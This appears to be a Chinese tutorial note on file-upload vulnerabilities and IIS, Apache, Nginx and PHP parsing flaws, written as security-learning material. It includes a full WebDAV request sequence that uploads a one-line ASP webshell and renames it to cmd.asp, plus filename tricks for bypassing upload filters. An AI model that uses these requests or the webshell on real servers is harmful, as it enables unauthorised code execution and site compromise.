文件上传漏洞通常与Web容器的解析漏洞配合利用
常见Web容器有IIS、Nginx、Apache、Tomcat等
IIS6.0在解析文件时存在以下两个解析漏洞
1、当建立*.asp、*.asa格式的文件夹时,其目录下任意文件都会被iis当作asp文件来解析。
2、当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行。
WebDav漏洞
WebDav是一种基于HTTP1.1协议的通信协议,它扩展了HTTP协议。在开启WebDav后若
支持PUT、Move、Copy、Delete等方法,就会存在安全隐患。
测试步骤如下:
1)通过OPTIONS探测服务器所支持的HTTP方法
请求:
OPTIONS / HTTP/1.1
Host: www.xxxx.com
2)通过PUT方法向服务器上传shell
请求:
PUT /a.txt HTTP/1.1
Host: www.xxxx.com
Content-Length: 30
<%eval request("chopper") %>
3)通过Move或Copy方法改名
请求:
COPY /a.txt HTTP/1.1
Host: www.xxxx.com
Destination: http://www.xxxx.com/cmd.asp
4)用DELETE方法删除文件
请求:
DELETE /a.txt HTTP/1.1
Host: www.xxxx.com
注:可用桂林老兵的IIS Write快速探测服务器是否存在WebDav漏洞
在Apache 1.x和Apache 2.x中存在解析漏洞。
Apache在解析文件时有一个原则,当碰到不认识的扩展名时,将会从后向前解析,
直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码。
如:1.php.rar.sa.xs就会被解析为php,可以据此来绕过文件名限制
可以在Apache安装目录下的文件"/conf/mime.types"中配置Apache可以识别的文件名
对低版本的Nginx可以在任意文件名后添加%00.php进行解析攻击
如:上传图片xx.jpg,然后通过改名为xx.jpg%00.php就会解析为php
当php的配置文件中的选项cgi.fix_pathinfo = 1开启时,当访问http://www.xxx.com/x.txt/x.php
时,若x.php不存在,则PHP会递归向前解析,将x.txt当作php脚本来解析
IIS中:任意文件名/任意文件名.php就会被解析为php
Nginx中:任意文件名/任意文件名.php就会被解析为php